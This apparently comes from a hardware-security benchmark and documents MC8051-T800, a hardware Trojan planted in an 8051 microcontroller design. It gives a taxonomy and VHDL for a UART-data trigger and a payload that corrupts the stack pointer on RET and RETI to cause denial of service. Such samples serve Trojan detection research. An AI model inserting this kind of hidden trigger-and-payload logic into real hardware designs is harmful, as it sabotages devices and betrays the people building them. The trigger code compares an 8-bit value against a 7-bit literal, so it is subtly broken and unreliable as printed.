

MC8051-T800

🔑 Trojan description

- 🔑 The Trojan manipulates the stack pointer when specific data are received through UART.

🔑 Trojan taxonomy

- 🔑 Insertion phase: Design
- 🔑 Abstraction level: Register-transfer level
- 🔑 Activation mechanism: Externally conditionally triggered
- 🔑 Effects: Denial of service
- 🔑 Location: Processor
- 🔑 Physical characteristics: Functional

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Trojan trigger

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Trojan_Trigger : process (reset, all_scon_i, all_sbuf_i)
variable Rec_Bit : std_logic;
variable Rec_Data : std_logic_vector (7 downto 0);
begin
  if (reset = '1') then
    Tj <= '0';
  else
    Tj <= '0';
    for i in 0 to C_IMPL_N_SIU-1 loop
      Rec_Bit := all_scon_i(i*3);
      Rec_Data := all_sbuf_i((i*8)+7 downto i*8);
      if ((Rec_Bit = '1') and (Rec_Data = "1111111")) then  Tj <= '1';  end if;
    end loop;
  end if;
end process Trojan_Trigger;
```

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Trojan payload

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when RET | RETI =>  
    if (Tj = '0') then  
        sp <= sp - conv_unsigned(1,1);  
    else  
        sp <= sp - conv_unsigned(2,2);  
    end if;
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